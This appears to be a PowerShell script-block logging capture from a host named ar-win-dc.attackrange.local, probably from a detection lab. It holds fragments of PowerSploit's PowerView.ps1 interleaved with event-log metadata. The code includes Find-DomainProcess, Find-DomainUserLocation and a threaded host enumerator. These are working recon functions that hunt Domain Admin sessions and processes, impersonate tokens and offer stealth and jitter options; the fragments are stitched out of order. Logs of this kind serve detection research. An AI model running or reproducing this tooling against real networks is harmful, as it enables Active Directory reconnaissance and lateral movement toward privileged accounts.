{ $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { # if not -ComputerName is passed, query the current (or target) domain for domain controllers $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { $TargetComputers = @(,$TargetComputers) } Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserEvent] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $DomainUserEventArgs = @{ 'ComputerName' = $T88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187781Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4352ter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'TargetUsers' = $TargetUsers 'CurrentUser' = $CurrentUser 'Stealth' = $Stealth 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-DomainProcess { <# .SYNOPSIS Searches for processes on the domain using WMI, returning processes that match a particular user specification or process name. Thanks to @paulbrandau for the approach idea. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any current processes running with Get-WMIProcess, searching for processes running under any target user contexts or with the specified -ProcessName. If -Credential is passed, it is passed through to the underlying WMI commands used to enumerate the remote machines. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER ProcessName Search for processes with one or more specific names. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainProcess Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by privileged users in dev.testlab.local. .EXAMPLE Find-DomainProcess -ProcessName putty.exe Searchings for instances of putty.exe running on the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainProcess -Domain testlab.local -Credential $Cred Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserProcess #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.UserProcess')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'TargetProcess')] [ValidateNotNullOrEmpty()] [String[]] $ProcessName, [Parameter(ParameterSetName = 'TargetUser')] [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserDomain, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [Parameter(ParameterSetName = 'TargetUser')] [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Parameter(ParameterSetName = 'TargetUser')] [Alias('AdminCount')] [Switch] $UserAdminCount, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } # first, build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainProcess] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainProcess] No hosts found to enumerate' } # now build the user target set if ($PSBoundParameters['ProcessName']) { $TargetProcessName = @() ForEach ($T in $ProcessName) { $TargetProcessName += $T.Split(',') } if ($TargetProcessName -isnot [System.Array]) { $TargetProcessName = [String[]] @($TargetProcessName) } } elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $GroupSearcherArguments $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Par88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187779Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4152 # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # force a single-threaded apartment state (for token-impersonation stuffz) $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA # import the current session state's variables and functions so the chained PowerView # functionality can be used by the threaded blocks if (-not $NoImports) { # grab all the current variables for this runspace $MyVars = Get-Variable -Scope 2 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') # add Variables from Parent Scope (current runspace) into the InitialSessionState ForEach ($Var in $MyVars) { if ($VorbiddenVars -NotContains $Var.Name) { $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } # add Functions from current runspace to the InitialSessionState ForEach ($Function in (Get-ChildItem Function:)) { $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) } } # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() # do some trickery to get the proper BeginInvoke() method that allows for an output queue $Method = $Null ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { $MethodParameters = $M.GetParameters() if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { $Method = $M.MakeGenericMethod([Object], [Object]) break } } $Jobs = @() $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" # partition all hosts from -ComputerName into $Threads number of groups if ($Threads -ge $ComputerName.Length) { $Threads = $ComputerName.Length } $ElementSplitSize = [Int]($ComputerName.Length/$Threads) $ComputerNamePartitioned = @() $Start = 0 $End = $ElementSplitSize for($i = 1; $i -le $Threads; $i++) { $List = New-Object System.Collections.ArrayList if ($i -eq $Threads) { $End = $ComputerName.Length } $List.AddRange($ComputerName[$Start..($End-1)]) $Start += $ElementSplitSize $End += $ElementSplitSize $ComputerNamePartitioned += @(,@($List.ToArray())) } Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { # create a "powershell pipeline runner" $PowerShell = [PowerShell]::Create() $PowerShell.runspacepool = $Pool # add the script block + arguments with the given computer partition $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) if ($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) } } # create the output queue $Output = New-Object Management.Automation.PSDataCollection[Object] # kick off execution using the BeginInvok() method that allows queues $Jobs += @{ PS = $PowerShell Output = $Output Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) } } } END { Write-Verbose "[New-ThreadedFunction] Threads executing" # continuously loop through each job queue, consuming output as appropriate Do { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() } Start-Sleep -Seconds 1 } While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) $SleepSeconds = 100 Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." # cleanup- make sure we didn't miss anything for ($i=0; $i -lt $SleepSeconds; $i++) { ForEach ($Job in $Jobs) { $Job.Output.ReadAll() $Job.PS.Dispose() } Start-Sleep -S 1 } $Pool.Dispose() Write-Verbose "[New-ThreadedFunction] all threads completed" } } function Find-DomainUserLocation { <# .SYNOPSIS Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and queries the domain for users of a specified group (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon The found user list is compared against the target list, and any matches are displayed. If -ShowAll is specified, all results are displayed instead of the filtered set. If -Stealth is specified, then likely highly-trafficed servers are enumerated with Get-DomainFileServer/Get-DomainController, and session enumeration is executed only against those servers. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER Domain Specifies the domain to query for computers AND users, defaults to the current domain. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerUnconstrained Switch. Search computer objects that have unconstrained delegation. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER UserAllowDelegation Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. .PARAMETER CheckAccess Switch. Check if the current user has local admin access to computers where target users are found. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER ShowAll Switch. Return all user location results instead of filtering based on target specifications. .PARAMETER Stealth Switch. Only enumerate sessions from connonly used target servers. .PARAMETER StealthSource The source of target servers to use, 'DFS' (distributed file servers), 'DC' (domain controllers), 'File' (file servers), or 'All' (the default). .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserLocation Searches for 'Domain Admins' by enumerating every computer in the domain. .EXAMPLE Find-DomainUserLocation -Stealth -ShowAll Enumerates likely highly-trafficked servers, performs just session enumeration against each, and outputs all results. .EXAMPLE Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged users in dev.testlab.local. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainUserLocation -Domain testlab.local -Credential $Cred Searches for domain admin locations in the testlab.local using the specified alternate credentials. .OUTPUTS PowerView.UserLocation #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.UserLocation')] [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [Alias('Unconstrained')] [Switch] $ComputerUnconstrained, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'UserIdentity')] [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [Parameter(ParameterSetName = 'UserGroupIdentity')] [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Alias('AllowDelegation')] [Switch] $UserAllowDelegation, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Parameter(ParameterSetName = 'ShowAll')] [Switch] $ShowAll, [Switch] $Stealth, [String] [ValidateSet('DFS', 'DC', 'File', 'All')] $StealthSource = 'All', [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherAr88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187766Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2852 } catch { $MemberDN = $Null $MemberDomain = $Null } if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] } else { # external trust users have a SID, so convert it try { $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID $MemberName = $Properties.cn[0] } } if ($Properties.objectclass -match 'computer') { $MemberObjectClass = 'computer' } elseif ($Properties.objectclass -match 'group') { $MemberObjectClass = 'group' } elseif ($Properties.objectclass -match 'user') { $MemberObjectClass = 'user' } else { $MemberObjectClass = $Null } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" $SearcherArguments['Identity'] = $MemberDN $Null = $SearcherArguments.Remove('Properties') Get-DomainGroupMember @SearcherArguments } } } $GroupSearcher.dispose() } } } function Get-DomainGroupMemberDeleted { <# .SYNOPSIS Returns information on group members that were removed from the specified group identity. Accomplished by searching the linked attribute replication metadata for the group using Get-DomainObjectLinkedAttributeHistory. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectLinkedAttributeHistory .DESCRIPTION Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute replication metadata for the specified group. These are cases where the 'Version' attribute of group member in the replication metadata is even. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMemberDeleted | Group-Object GroupDN Count Name Group ----- ---- ----- 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... .EXAMPLE Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T23:07:43Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T22:20:02Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 5 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First 